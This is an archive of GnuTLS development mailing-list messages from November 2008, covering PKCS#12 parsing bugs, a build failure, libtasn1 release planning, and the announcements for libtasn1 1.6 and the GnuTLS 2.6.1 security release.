From n.mavrogiannopoulos at gmail.com  Sat Nov  1 02:05:28 2008
From: n.mavrogiannopoulos at gmail.com (Nikos Mavrogiannopoulos)
Date: Sat, 1 Nov 2008 03:05:28 +0200
Subject: Unparseable PKCS#12 cert
In-Reply-To: <87r65wx4oa.fsf@wheatstone.g10code.de>
References: <20081028102752.GA28132@manyfish.co.uk>
	<20081030192044.GA15612@manyfish.co.uk>
	<c331d99a0810301348r391df23al8751c16bfe5cda63@mail.gmail.com>
	<87r65wx4oa.fsf@wheatstone.g10code.de>
Message-ID: <c331d99a0810311805i7fe0ff20id36a4c153dd26a0e@mail.gmail.com>

On Fri, Oct 31, 2008 at 3:41 PM, Werner Koch <wk at gnupg.org> wrote:
> On Thu, 30 Oct 2008 21:48, n.mavrogiannopoulos at gmail.com said:
>> I'll check these and let you know. PKCS #12 is quite complicated and
>> there can be issues like this. Thank you for reporting it.
>
> I had the same problem wa few years ago with Mozilla exported files.
> See gnupg/agent/minip12.c.  IIRC, there are some comments related to
> Mozilla.

Actually is this valid encoding? It looks like an encoding bug to me.

regards,
Nikos




From arfrever.fta at gmail.com  Sat Nov  1 03:59:30 2008
From: arfrever.fta at gmail.com (Arfrever Frehtes Taifersar Arahesis)
Date: Sat, 1 Nov 2008 03:59:30 +0100
Subject: GnuTLS 2.7.1 fails to build
Message-ID: <200811010400.10938.Arfrever.FTA@gmail.com>

GnuTLS 2.7.1 fails to build:

make[3]: Entering directory `/var/tmp/portage/net-libs/gnutls-2.7.1/work/gnutls-2.7.1/src'
i686-pc-linux-gnu-gcc -std=gnu99 -DHAVE_CONFIG_H -I. -I..  -I./../gl -I./../gl -I./../lib/includes -I./../lib/includes -I./../libextra/includes -I./cfg   -Wno-pointer-sign -MT serv-gaa.o -MD -MP -MF .deps/serv-gaa.Tpo -c -o serv-gaa.o serv-gaa.c
mv -f .deps/serv-gaa.Tpo .deps/serv-gaa.Po
i686-pc-linux-gnu-gcc -std=gnu99 -DHAVE_CONFIG_H -I. -I..  -I./../gl -I./../gl -I./../lib/includes -I./../lib/includes -I./../libextra/includes -I./cfg   -Wno-pointer-sign -MT serv.o -MD -MP -MF .deps/serv.Tpo -c -o serv.o serv.c
mv -f .deps/serv.Tpo .deps/serv.Po
i686-pc-linux-gnu-gcc -std=gnu99 -DHAVE_CONFIG_H -I. -I..  -I./../gl -I./../gl -I./../lib/includes -I./../lib/includes -I./../libextra/includes -I./cfg   -Wno-pointer-sign -MT common.o -MD -MP -MF .deps/common.Tpo -c -o common.o common.c
mv -f .deps/common.Tpo .deps/common.Po
/bin/sh ../libtool --tag=CC   --mode=link i686-pc-linux-gnu-gcc -std=gnu99  -Wno-pointer-sign   -o gnutls-serv serv-gaa.o serv.o common.o ../lib/libgnutls.la ../libextra/libgnutls-extra.la ../gl/libgnu.la
libtool: link: i686-pc-linux-gnu-gcc -std=gnu99 -Wno-pointer-sign -o .libs/gnutls-serv serv-gaa.o serv.o common.o  ../lib/.libs/libgnutls.so -L/usr/lib ../libextra/.libs/libgnutls-extra.so /usr/lib/liblzo2.so /var/tmp/portage/net-libs/gnutls-2.7.1/work/gnutls-2.7.1/lib/.libs/libgnutls.so /usr/lib/libtasn1.so -lz /usr/lib/libgcrypt.so /usr/lib/libgpg-error.so ../gl/.libs/libgnu.a
../libextra/.libs/libgnutls-extra.so: undefined reference to `_gnutls_lzo1x_decompress_safe'
../libextra/.libs/libgnutls-extra.so: undefined reference to `_gnutls_lzo1x_1_compress'
collect2: ld returned 1 exit status
make[3]: *** [gnutls-serv] Error 1
make[3]: Leaving directory `/var/tmp/portage/net-libs/gnutls-2.7.1/work/gnutls-2.7.1/src'
make[2]: *** [all-recursive] Error 1
make[2]: Leaving directory `/var/tmp/portage/net-libs/gnutls-2.7.1/work/gnutls-2.7.1/src'
make[1]: *** [all-recursive] Error 1
make[1]: Leaving directory `/var/tmp/portage/net-libs/gnutls-2.7.1/work/gnutls-2.7.1'
make: *** [all] Error 2

-- 
Arfrever Frehtes Taifersar Arahesis
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 197 bytes
Desc: This is a digitally signed message part.
URL: </pipermail/attachments/20081101/2e6dc38a/attachment.pgp>

From nmav at gnutls.org  Sun Nov  2 13:17:18 2008
From: nmav at gnutls.org (Nikos Mavrogiannopoulos)
Date: Sun, 02 Nov 2008 14:17:18 +0200
Subject: Unparseable PKCS#12 cert
In-Reply-To: <20081028102752.GA28132@manyfish.co.uk>
References: <20081028102752.GA28132@manyfish.co.uk>
Message-ID: <490D9A4E.3090003@gnutls.org>

Joe Orton wrote:
> Hi folks, I've attached a PKCS#12 file which was apparently produced by 
> the Bouncy Castle Java crypto toolkit; GnuTLS 2.5.6 + libtasn1 1.3 can't 
> parse it.  I haven't attempted to debug this any further.
> 
> OpenSSL can parse it, though PKCS12_parse() failed to pair up the key 
> and cert correctly (instead giving the key and embedded CA cert), which 
> is why I heard about this.  Just happened to try this cert with GnuTLS 
> too.
> 
> $ bin/certtool --p12-info --infile ~/TestUser.p12  --inder
> bin/certtool: p12_import: ASN1 parser: Error in TAG.
> 
> The encryption password is "password".

The attached patch to libtasn1 should solve this issue[0]. It seems the
mozilla pkcs12 structure is BER encoded and our decoder worked with DER
data. Still our decoder lacks full BER support but at least with this
patch it can decode this structure.

regards,
Nikos

[0]. It also contains some optimizations in the libtasn1 tree generation.
-------------- next part --------------
A non-text attachment was scrubbed...
Name: libtasn1.patch
Type: text/x-patch
Size: 64163 bytes
Desc: not available
URL: </pipermail/attachments/20081102/941959d6/attachment.bin>

From nmav at gnutls.org  Mon Nov  3 20:21:10 2008
From: nmav at gnutls.org (Nikos Mavrogiannopoulos)
Date: Mon, 03 Nov 2008 21:21:10 +0200
Subject: rfc5081 update
Message-ID: <490F4F26.1030104@gnutls.org>

I've updated the rfc5081 to conform with the new openpgp-keys
implementation of gnutls (the major change is the keyids are made
explicit in this version). It is currently on the rfc editor's queue[0],
so if there are any comments let me know as soon.

regards,
Nikos

[0].
ftp://ftp.rfc-editor.org/in-notes/internet-drafts/draft-mavrogiannopoulos-rfc5081bis-02.txt




From nmav at gnutls.org  Mon Nov  3 20:56:39 2008
From: nmav at gnutls.org (Nikos Mavrogiannopoulos)
Date: Mon, 03 Nov 2008 21:56:39 +0200
Subject: GnuTLS 2.7.1 fails to build
In-Reply-To: <200811010400.10938.Arfrever.FTA@gmail.com>
References: <200811010400.10938.Arfrever.FTA@gmail.com>
Message-ID: <490F5777.2040504@gnutls.org>

Arfrever Frehtes Taifersar Arahesis wrote:

It looks like some issue with lzo. Did you enable it in configure? If
yes try to disable it.

regards,
Nikos

> GnuTLS 2.7.1 fails to build:
> 
> make[3]: Entering directory `/var/tmp/portage/net-libs/gnutls-2.7.1/work/gnutls-2.7.1/src'
> i686-pc-linux-gnu-gcc -std=gnu99 -DHAVE_CONFIG_H -I. -I..  -I./../gl -I./../gl -I./../lib/includes -I./../lib/includes -I./../libextra/includes -I./cfg   -Wno-pointer-sign -MT serv-gaa.o -MD -MP -MF .deps/serv-gaa.Tpo -c -o serv-gaa.o serv-gaa.c
> mv -f .deps/serv-gaa.Tpo .deps/serv-gaa.Po
> i686-pc-linux-gnu-gcc -std=gnu99 -DHAVE_CONFIG_H -I. -I..  -I./../gl -I./../gl -I./../lib/includes -I./../lib/includes -I./../libextra/includes -I./cfg   -Wno-pointer-sign -MT serv.o -MD -MP -MF .deps/serv.Tpo -c -o serv.o serv.c
> mv -f .deps/serv.Tpo .deps/serv.Po
> i686-pc-linux-gnu-gcc -std=gnu99 -DHAVE_CONFIG_H -I. -I..  -I./../gl -I./../gl -I./../lib/includes -I./../lib/includes -I./../libextra/includes -I./cfg   -Wno-pointer-sign -MT common.o -MD -MP -MF .deps/common.Tpo -c -o common.o common.c
> mv -f .deps/common.Tpo .deps/common.Po
> /bin/sh ../libtool --tag=CC   --mode=link i686-pc-linux-gnu-gcc -std=gnu99  -Wno-pointer-sign   -o gnutls-serv serv-gaa.o serv.o common.o ../lib/libgnutls.la ../libextra/libgnutls-extra.la ../gl/libgnu.la
> libtool: link: i686-pc-linux-gnu-gcc -std=gnu99 -Wno-pointer-sign -o .libs/gnutls-serv serv-gaa.o serv.o common.o  ../lib/.libs/libgnutls.so -L/usr/lib ../libextra/.libs/libgnutls-extra.so /usr/lib/liblzo2.so /var/tmp/portage/net-libs/gnutls-2.7.1/work/gnutls-2.7.1/lib/.libs/libgnutls.so /usr/lib/libtasn1.so -lz /usr/lib/libgcrypt.so /usr/lib/libgpg-error.so ../gl/.libs/libgnu.a
> ../libextra/.libs/libgnutls-extra.so: undefined reference to `_gnutls_lzo1x_decompress_safe'
> ../libextra/.libs/libgnutls-extra.so: undefined reference to `_gnutls_lzo1x_1_compress'
> collect2: ld returned 1 exit status
> make[3]: *** [gnutls-serv] Error 1
> make[3]: Leaving directory `/var/tmp/portage/net-libs/gnutls-2.7.1/work/gnutls-2.7.1/src'
> make[2]: *** [all-recursive] Error 1
> make[2]: Leaving directory `/var/tmp/portage/net-libs/gnutls-2.7.1/work/gnutls-2.7.1/src'
> make[1]: *** [all-recursive] Error 1
> make[1]: Leaving directory `/var/tmp/portage/net-libs/gnutls-2.7.1/work/gnutls-2.7.1'
> make: *** [all] Error 2
> 
> 
> 
> ------------------------------------------------------------------------
> 
> _______________________________________________
> Gnutls-devel mailing list
> Gnutls-devel at gnu.org
> http://lists.gnu.org/mailman/listinfo/gnutls-devel





From nmav at gnutls.org  Tue Nov  4 07:25:50 2008
From: nmav at gnutls.org (Nikos Mavrogiannopoulos)
Date: Tue, 04 Nov 2008 08:25:50 +0200
Subject: [Help-gnutls] Key usage violation in certificate
In-Reply-To: <490F9E45.5080300@digium.com>
References: <490A37DA.6090400@digium.com> <490D9E7B.7070507@gnutls.org>	
	<490EFF54.80106@digium.com>
	<c331d99a0811030746n4296e947n81cf1102dad07cdf@mail.gmail.com>
	<490F3BBD.5060603@digium.com> <490F58F5.7090706@gnutls.org>
	<490F9E45.5080300@digium.com>
Message-ID: <490FEAEE.9070106@gnutls.org>

Kevin P. Fleming wrote:
> Nikos Mavrogiannopoulos wrote:
> 
>> It seems gnutls fails because the (client) certificate it uses for
>> authentication it doesn't support signing (and TLS client certificates
>> must support it).
>>
>> Check (with certtool -i) if the client certificate contains the
>> following lines:
>>
>> 	Key Usage (critical):
>> 		Digital signature.
> 
> Yes, I used openssl's pkcs12 command to extract the cert from the .p12
> file that it lives in, then used 'certtool -i --infile cert.pem', and
> this is the output:

Could it be then that libneon selected a wrong certificate from the
pkcs12 file? Does it use gnutls_certificate_set_x509_simple_pkcs12_file()?

I quick glimpsed gnutls_certificate_set_x509_simple_pkcs12_file() and
looks very simple thus might add the first certificate no matter if it
corresponds to the key. In that case it is a gnutls bug and will be
fixed. (workaround: use a single certificate in the pkcs12 file).

regards,
Nikos





From joe at manyfish.co.uk  Tue Nov  4 10:25:09 2008
From: joe at manyfish.co.uk (Joe Orton)
Date: Tue, 4 Nov 2008 09:25:09 +0000
Subject: [Help-gnutls] Key usage violation in certificate
In-Reply-To: <490FEAEE.9070106@gnutls.org>
References: <490A37DA.6090400@digium.com> <490D9E7B.7070507@gnutls.org>
	<490EFF54.80106@digium.com>
	<c331d99a0811030746n4296e947n81cf1102dad07cdf@mail.gmail.com>
	<490F3BBD.5060603@digium.com> <490F58F5.7090706@gnutls.org>
	<490F9E45.5080300@digium.com> <490FEAEE.9070106@gnutls.org>
Message-ID: <20081104092509.GA30869@manyfish.co.uk>

On Tue, Nov 04, 2008 at 08:25:50AM +0200, Nikos Mavrogiannopoulos wrote:
> Kevin P. Fleming wrote:
> > Nikos Mavrogiannopoulos wrote:
> > 
> >> It seems gnutls fails because the (client) certificate it uses for
> >> authentication it doesn't support signing (and TLS client certificates
> >> must support it).
...
> Could it be then that libneon selected a wrong certificate from the
> pkcs12 file?

I'm missing some context here, but current neon releases can indeed do 
that, this is a known neon bug, see:

http://lists.manyfish.co.uk/pipermail/neon/2008-October/000086.html

> Does it use gnutls_certificate_set_x509_simple_pkcs12_file()?

Just for the record - neon doesn't use that function, no.

Regards, Joe




From simon at josefsson.org  Wed Nov  5 14:49:24 2008
From: simon at josefsson.org (Simon Josefsson)
Date: Wed, 05 Nov 2008 14:49:24 +0100
Subject: Preparing libtasn1 2.0
Message-ID: <87skq6cmfv.fsf@mocca.josefsson.org>

All,

I plan to release libtasn1 v2.0 in a few days.  Please test this daily
build for problems:

http://daily.josefsson.org/libtasn1/libtasn1-20081105.tar.gz

btw, I've created a Redmine instance to track bugs, plan releases, wiki
pages, and more, see:

http://redmine.josefsson.org/wiki/libtasn1

/Simon




From kpfleming at digium.com  Tue Nov  4 18:26:13 2008
From: kpfleming at digium.com (Kevin P. Fleming)
Date: Tue, 04 Nov 2008 11:26:13 -0600
Subject: [Help-gnutls] Key usage violation in certificate
In-Reply-To: <20081104092509.GA30869@manyfish.co.uk>
References: <490A37DA.6090400@digium.com> <490D9E7B.7070507@gnutls.org>
	<490EFF54.80106@digium.com>
	<c331d99a0811030746n4296e947n81cf1102dad07cdf@mail.gmail.com>
	<490F3BBD.5060603@digium.com> <490F58F5.7090706@gnutls.org>
	<490F9E45.5080300@digium.com> <490FEAEE.9070106@gnutls.org>
	<20081104092509.GA30869@manyfish.co.uk>
Message-ID: <491085B5.1070002@digium.com>

Joe Orton wrote:

>> Could it be then that libneon selected a wrong certificate from the
>> pkcs12 file?
> 
> I'm missing some context here, but current neon releases can indeed do 
> that, this is a known neon bug, see:
> 
> http://lists.manyfish.co.uk/pipermail/neon/2008-October/000086.html
> 
>> Does it use gnutls_certificate_set_x509_simple_pkcs12_file()?
> 
> Just for the record - neon doesn't use that function, no.

OK, on the basis of this note (and yes, our client cert pkcs12 files
usually contain the CA cert as well), I regenerated the pkcs12 file for
my cert without the CA cert in it, and the problem has been worked
around. We don't really need the CA cert to be in the pkcs12 files, so
this will work for us. Thanks to everyone who helped solve this problem :-)

-- 
Kevin P. Fleming
Director of Software Technologies
Digium, Inc. - "The Genuine Asterisk Experience" (TM)




From nmav at gnutls.org  Wed Nov  5 20:10:49 2008
From: nmav at gnutls.org (Nikos Mavrogiannopoulos)
Date: Wed, 05 Nov 2008 21:10:49 +0200
Subject: [Help-gnutls] Preparing libtasn1 2.0
In-Reply-To: <87skq6cmfv.fsf@mocca.josefsson.org>
References: <87skq6cmfv.fsf@mocca.josefsson.org>
Message-ID: <4911EFB9.7030600@gnutls.org>

Simon Josefsson wrote:
> All,
> 
> I plan to release libtasn1 v2.0 in a few days.  Please test this daily
> build for problems:
> btw, I've created a Redmine instance to track bugs, plan releases, wiki
> pages, and more, see:

Hello Simon,
 the cyclomatic complexity report is very nice indeed (and results were
expected :). But which program did you use to product this output?

regards,
Nikos




From simon at josefsson.org  Thu Nov  6 08:24:16 2008
From: simon at josefsson.org (Simon Josefsson)
Date: Thu, 06 Nov 2008 08:24:16 +0100
Subject: Preparing libtasn1 2.0
In-Reply-To: <4911EFB9.7030600@gnutls.org> (Nikos Mavrogiannopoulos's message
	of "Wed, 05 Nov 2008 21:10:49 +0200")
References: <87skq6cmfv.fsf@mocca.josefsson.org> <4911EFB9.7030600@gnutls.org>
Message-ID: <87abcd5nbz.fsf@mocca.josefsson.org>

Nikos Mavrogiannopoulos <nmav at gnutls.org> writes:

> Simon Josefsson wrote:
>> All,
>> 
>> I plan to release libtasn1 v2.0 in a few days.  Please test this daily
>> build for problems:
>> btw, I've created a Redmine instance to track bugs, plan releases, wiki
>> pages, and more, see:
>
> Hello Simon,
>  the cyclomatic complexity report is very nice indeed (and results were
> expected :). But which program did you use to product this output?

Yes, the tables are nice. :)

The tool to compute the complexity is pmccabe:

http://www.parisc-linux.org/~bame/pmccabe/overview.html

The data is converted to HTML using pmccabe2html, written by the gnupdf
project and now maintained in gnulib.  See gnutls/doc/cyclo/Makefile.am
on how to use it.

/Simon




From simon at josefsson.org  Fri Nov  7 10:43:49 2008
From: simon at josefsson.org (Simon Josefsson)
Date: Fri, 07 Nov 2008 10:43:49 +0100
Subject: GnuTLS 2.7.1 fails to build
In-Reply-To: <200811010400.10938.Arfrever.FTA@gmail.com> (Arfrever Frehtes
	Taifersar Arahesis's message of "Sat, 1 Nov 2008 03:59:30 +0100")
References: <200811010400.10938.Arfrever.FTA@gmail.com>
Message-ID: <87mygbx44q.fsf@mocca.josefsson.org>

Arfrever Frehtes Taifersar Arahesis <arfrever.fta at gmail.com> writes:

> GnuTLS 2.7.1 fails to build:

Thanks, LZO compression wasn't configured properly.  Fixed in:

http://git.savannah.gnu.org/gitweb/?p=gnutls.git;a=commitdiff;h=0700d43f78c1cf32c3772fd3157cb5aabcfb0446

Btw, consider disabling LZO, I suspect you don't need it and it may be
removed in the future.

/Simon




From davefx at gmail.com  Sun Nov  9 00:12:35 2008
From: davefx at gmail.com (=?UTF-8?Q?David_Mar=C3=ADn_Carre=C3=B1o?=)
Date: Sun, 9 Nov 2008 00:12:35 +0100
Subject: New function gnutls_x509_crq_get_key_id
Message-ID: <f43cca2f0811081512m25e95babj940a8dbcd70551f5@mail.gmail.com>

Hi all.

Here I attach a patch adding a new function for getting the key_id from a
certificate signing request, so you can test if a given private key
corresponds to a given CSR.

It's based closely to the gnutls_x509_crt_get_key_id function.

Please, revise it and, if seems ok, add to the repository.

Thanks a lot.

-- 
David Mar?n Carre?o
-------------- next part --------------
An HTML attachment was scrubbed...
URL: </pipermail/attachments/20081109/6021b431/attachment.htm>
-------------- next part --------------
A non-text attachment was scrubbed...
Name: gnutls-2.7.1.patch
Type: text/x-diff
Size: 4958 bytes
Desc: not available
URL: </pipermail/attachments/20081109/6021b431/attachment.patch>

From ametzler at downhill.at.eu.org  Sun Nov  9 10:33:13 2008
From: ametzler at downhill.at.eu.org (Andreas Metzler)
Date: Sun, 9 Nov 2008 10:33:13 +0100
Subject: Preparing libtasn1 2.0
In-Reply-To: <87skq6cmfv.fsf@mocca.josefsson.org>
References: <87skq6cmfv.fsf@mocca.josefsson.org>
Message-ID: <20081109093313.GB3345@downhill.g.la>

On 2008-11-05 Simon Josefsson <simon at josefsson.org> wrote:
> I plan to release libtasn1 v2.0 in a few days.  Please test this daily
> build for problems:

> http://daily.josefsson.org/libtasn1/libtasn1-20081105.tar.gz
[...]

shouldn't there be a soname bump due to the removal of node_asn_struct
from the public ABI?

cu andreas

-- 
`What a good friend you are to him, Dr. Maturin. His other friends are
so grateful to you.'
`I sew his ears on from time to time, sure'
-------------- next part --------------
A non-text attachment was scrubbed...
Name: sonamebump.diff
Type: text/x-diff
Size: 570 bytes
Desc: not available
URL: </pipermail/attachments/20081109/706b8e5f/attachment.diff>

From simon at josefsson.org  Mon Nov 10 08:51:56 2008
From: simon at josefsson.org (Simon Josefsson)
Date: Mon, 10 Nov 2008 08:51:56 +0100
Subject: Preparing libtasn1 2.0
In-Reply-To: <20081109093313.GB3345@downhill.g.la> (Andreas Metzler's message
	of "Sun, 9 Nov 2008 10:33:13 +0100")
References: <87skq6cmfv.fsf@mocca.josefsson.org>
	<20081109093313.GB3345@downhill.g.la>
Message-ID: <87vduw81cz.fsf@mocca.josefsson.org>

Andreas Metzler <ametzler at downhill.at.eu.org> writes:

> On 2008-11-05 Simon Josefsson <simon at josefsson.org> wrote:
>> I plan to release libtasn1 v2.0 in a few days.  Please test this daily
>> build for problems:
>
>> http://daily.josefsson.org/libtasn1/libtasn1-20081105.tar.gz
> [...]
>
> shouldn't there be a soname bump due to the removal of node_asn_struct
> from the public ABI?

Thanks, I'll make that fix when I release v2.0 properly.  See my next
e-mail about how I plan to proceed.

/Simon




From simon at josefsson.org  Mon Nov 10 09:08:02 2008
From: simon at josefsson.org (Simon Josefsson)
Date: Mon, 10 Nov 2008 09:08:02 +0100
Subject: Libtasn1 1.6
Message-ID: <87hc6g80m5.fsf@mocca.josefsson.org>

Libtasn1 is a standalone library written in C for manipulating ASN.1
objects including DER/BER encoding and DER/BER decoding.  Libtasn1 is
used by GnuTLS to manipulate X.509 objects and by Shishi to handle
Kerberos V5 packets.

Version 1.6 (released 2008-11-10)
- Fixed namespace violation for MAX_NAME_SIZE and MAX_ERROR_DESCRIPTION_SIZE.
  The new names are ASN1_MAX_NAME_SIZE and ASN1_MAX_ERROR_DESCRIPTION_SIZE.
- Fixed namespace violation for libtasn1_perror and libtasn1_strerror.
  The new names are asn1_perror and asn1_strerror.
- Fix namespace violation for LIBASN1_VERSION.
  The new name is ASN1_VERSION.
- Decoder can now decode BER encoded octet strings.
- doc: Change license on the manual to GFDLv1.3+.
- doc: Sync gdoc script with GnuTLS, changes license on man-pages to GAP.
- doc: Improve gtk-doc manual.
- Assumes system has strdup and string.h.
- Remove libtasn1-config and libtasn1.m4,
  use standard AC_CHECK_FUNCS autoconf tests or pkg-config instead.
- Change detection of when to use a linker version script,
  use --enable-ld-version-script or --disable-ld-version-script to
  override auto-detection logic.
- API and ABI changes since last version:
  asn1_get_length_ber: New function.
  ASN1_VERSION: New symbol, replaces LIBTASN1_VERSION.
  asn1_strerror: New function, replaces libtasn1_strerror.
  asn1_perror: New function, replaces libtasn1_perror.
  libtasn1_strerror: Marked as deprecated.
  libtasn1_perror: Marked as deprecated.
  LIBTASN1_VERSION: Deprecated.

Commercial support contracts for Libtasn1 are available, and they help
finance continued maintenance.  Simon Josefsson Datakonsult, a Stockholm
based privately held company, is currently funding Libtasn1 maintenance.
We are always looking for interesting development projects.  See
http://josefsson.org/ for more details.

If you need help to use Libtasn1, or want to help others, you are
invited to join our help-gnutls mailing list, see:
<http://lists.gnu.org/mailman/listinfo/help-gnutls>.

Homepage:
  http://josefsson.org/libtasn1/

Here are the compressed sources (1.6MB):
  ftp://ftp.gnu.org/gnu/gnutls/libtasn1-1.6.tar.gz
  http://ftp.gnu.org/gnu/gnutls/libtasn1-1.6.tar.gz

Here are GPG detached signatures using key 0xB565716F:
  ftp://ftp.gnu.org/gnu/gnutls/libtasn1-1.6.tar.gz.sig
  http://ftp.gnu.org/gnu/gnutls/libtasn1-1.6.tar.gz.sig

The software is cryptographically signed by the author using an
OpenPGP key identified by the following information:

pub   1280R/B565716F 2002-05-05 [expires: 2009-04-21]
      Key fingerprint = 0424 D4EE 81A0 E3D1 19C6  F835 EDA2 1E94 B565 716F
uid                  Simon Josefsson <simon at josefsson.org>
uid                  Simon Josefsson <jas at extundo.com>
sub   1280R/4D5D40AE 2002-05-05 [expires: 2009-04-21]

The key is available from:
  http://josefsson.org/key.txt
  dns:b565716f.josefsson.org?TYPE=CERT

Here are the SHA-1 and SHA-224 checksums:

fd670bcb88612190729948c7939e612132e3bb71  libtasn1-1.6.tar.gz

0e623d6a497ebe0ef33c2188d8b8bfc02ec0035f4c7bb0501e0819a3  libtasn1-1.6.tar.gz

Happy hacking,
Simon
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 419 bytes
Desc: not available
URL: </pipermail/attachments/20081110/0309622d/attachment.pgp>

From simon at josefsson.org  Mon Nov 10 09:34:30 2008
From: simon at josefsson.org (Simon Josefsson)
Date: Mon, 10 Nov 2008 09:34:30 +0100
Subject: Preparing libtasn1 2.0
In-Reply-To: <87vduw81cz.fsf@mocca.josefsson.org> (Simon Josefsson's message
	of "Mon, 10 Nov 2008 08:51:56 +0100")
References: <87skq6cmfv.fsf@mocca.josefsson.org>
	<20081109093313.GB3345@downhill.g.la>
	<87vduw81cz.fsf@mocca.josefsson.org>
Message-ID: <87bpwo7ze1.fsf@mocca.josefsson.org>

Simon Josefsson <simon at josefsson.org> writes:

> Andreas Metzler <ametzler at downhill.at.eu.org> writes:
>
>> On 2008-11-05 Simon Josefsson <simon at josefsson.org> wrote:
>>> I plan to release libtasn1 v2.0 in a few days.  Please test this daily
>>> build for problems:
>>
>>> http://daily.josefsson.org/libtasn1/libtasn1-20081105.tar.gz
>> [...]
>>
>> shouldn't there be a soname bump due to the removal of node_asn_struct
>> from the public ABI?
>
> Thanks, I'll make that fix when I release v2.0 properly.  See my next
> e-mail about how I plan to proceed.

With v1.6 released, I've prepared a new v2.0 release candidate:

http://daily.josefsson.org/libtasn1/libtasn1-20081110.tar.gz

/Simon




From simon at josefsson.org  Mon Nov 10 11:48:33 2008
From: simon at josefsson.org (Simon Josefsson)
Date: Mon, 10 Nov 2008 11:48:33 +0100
Subject: GnuTLS 2.6.1 - Security release [GNUTLS-SA-2008-3]
Message-ID: <873ahz7t6m.fsf@mocca.josefsson.org>

We are proud to announce a new stable GnuTLS release: Version 2.6.1.

GnuTLS is a modern C library that implement the standard network
security protocol Transport Layer Security (TLS), for use by network
applications.  GnuTLS is developed for GNU/Linux, but works on many
Unix-like systems and comes with a binary installer for Windows.

The GnuTLS library is distributed under the terms of the GNU Lesser
General Public License version 2.1 (or later).  The "extra" GnuTLS
library (which contains TLS/IA support, LZO compression and Libgcrypt
FIPS-mode handler), the OpenSSL compatibility library, the self tests
and the command line tools are all distributed under the GNU General
Public License version 3.0 (or later).  The manual is distributed under
the GNU Free Documentation License version 1.2 (or later).

The project page of the library is available at:
  http://www.gnutls.org/
  http://www.gnu.org/software/gnutls/

What's New
==========

Version 2.6.1 is a maintainance and security release on our stable
branch.

** libgnutls: Fix X.509 certificate chain validation error. [GNUTLS-SA-2008-3]
The flaw makes it possible for man in the middle attackers (i.e.,
active attackers) to assume any name and trick GNU TLS clients into
trusting that name.  Thanks for report and analysis from Martin von
Gagern <Martin.vGagern at gmx.net>.  [CVE-2008-4989]

Any updates with more details about this vulnerability will be added
to <http://www.gnu.org/software/gnutls/security.html>

** libgnutls: Add missing prototype for gnutls_srp_set_prime_bits.
Reported by Kevin Quick <quick at sparq.org> in
<https://savannah.gnu.org/support/index.php?106454>.

** libgnutls-extra: Protect internal symbols with static.
Fixes problem when linking certtool statically.  Tiny patch from Aaron
Ucko <ucko at ncbi.nlm.nih.gov>.

** libgnutls-openssl: Fix patch against X509_get_issuer_name.
It incorrectly returned the subject DN instead of issuer DN in v2.6.0.
Thanks to Thomas Viehmann <tv at beamnet.de> for report.

** certtool: Print a PKCS #8 key even if it is not encrypted.

** tests: Make tests compile when using internal libtasn1.
Patch by ludo at gnu.org (Ludovic Court?s).

** API and ABI modifications:
No changes since last version.

Getting the Software
====================

GnuTLS may be downloaded from one of the mirror sites or direct from
<ftp://ftp.gnu.org/gnu/gnutls/>.  The list of mirrors can be found at
<http://www.gnu.org/software/gnutls/download.html>.

Here are the BZIP2 compressed sources (4.9MB):

  ftp://ftp.gnu.org/gnu/gnutls/gnutls-2.6.1.tar.bz2
  http://ftp.gnu.org/gnu/gnutls/gnutls-2.6.1.tar.bz2

Here are OpenPGP detached signatures signed using key 0xB565716F:

  ftp://ftp.gnu.org/gnu/gnutls/gnutls-2.6.1.tar.bz2.sig
  http://ftp.gnu.org/gnu/gnutls/gnutls-2.6.1.tar.bz2.sig

Note, that we don't distribute gzip compressed tarballs.

In order to check that the version of GnuTLS which you are going to
install is an original and unmodified one, you should verify the OpenPGP
signature.  You can use the command

     gpg --verify gnutls-2.6.1.tar.bz2.sig

This checks whether the signature file matches the source file.  You
should see a message indicating that the signature is good and made by
that signing key.  Make sure that you have the right key, either by
checking the fingerprint of that key with other sources or by checking
that the key has been signed by a trustworthy other key.  The signing
key can be identified with the following information:

pub   1280R/B565716F 2002-05-05 [expires: 2009-04-21]
      Key fingerprint = 0424 D4EE 81A0 E3D1 19C6  F835 EDA2 1E94 B565 716F
uid                  Simon Josefsson <simon at josefsson.org>
uid                  Simon Josefsson <jas at extundo.com>
sub   1280R/4D5D40AE 2002-05-05 [expires: 2009-04-21]

The key is available from:
  http://josefsson.org/key.txt
  dns:b565716f.josefsson.org?TYPE=CERT

Alternatively, after successfully verifying the OpenPGP signature of
this announcement, you could verify that the files match the following
checksum values.  The values are for SHA-1 and SHA-224 respectively:

a445e84176bf772794db9d8c71d5515dedb14bcc  gnutls-2.6.1.tar.bz2

f3882745a290cc2a091dc50d9fb8bc7b4b999c29ecebe9730fe3bafd  gnutls-2.6.1.tar.bz2

Documentation
=============

The manual is available online at:

  http://www.gnu.org/software/gnutls/documentation.html

In particular the following formats are available:

 HTML: http://www.gnu.org/software/gnutls/manual/html_node/index.html
 PDF: http://www.gnu.org/software/gnutls/manual/gnutls.pdf

For developers there is a GnuTLS API reference manual formatted using
the GTK-DOC tools:

  http://www.gnu.org/software/gnutls/reference/gnutls-gnutls.html

Community
=========

If you need help to use GnuTLS, or want to help others, you are invited
to join our help-gnutls mailing list, see:

  http://lists.gnu.org/mailman/listinfo/help-gnutls

If you wish to participate in the development of GnuTLS, you are invited
to join our gnutls-dev mailing list, see:

  http://lists.gnu.org/mailman/listinfo/gnutls-devel

Windows installer
=================

GnuTLS has been ported to the Windows operating system, and a binary
installer is available.  The installer contains DLLs for application
development, manuals, examples, and source code.  The installer uses
libgpg-error v1.6, libgcrypt v1.4.3, libtasn1 v1.5, and GnuTLS v2.6.1.

For more information about GnuTLS for Windows:
  http://josefsson.org/gnutls4win/

The Windows binary installer and PGP signature:
  http://josefsson.org/gnutls4win/gnutls-2.6.1.exe (14MB)
  http://josefsson.org/gnutls4win/gnutls-2.6.1.exe.sig

The checksum values for SHA-1 and SHA-224 are:

7efc24d79a258927d803b7fb25f798d82f9d1ac0  gnutls-2.6.1.exe

20054cf34bf6bf5dafda13b6956c2de02c1f91ed63858c5bf8e0268c  gnutls-2.6.1.exe

Thanks to Enrico Tassi, we also have mingw32 *.deb's available:
  http://josefsson.org/gnutls4win/mingw32-gnutls_2.6.1-1_all.deb

The checksum values for SHA-1 and SHA-224 are:

e4f70a2348dce9c1dec9de6f05e2e40872f2551c  mingw32-gnutls_2.6.1-1_all.deb

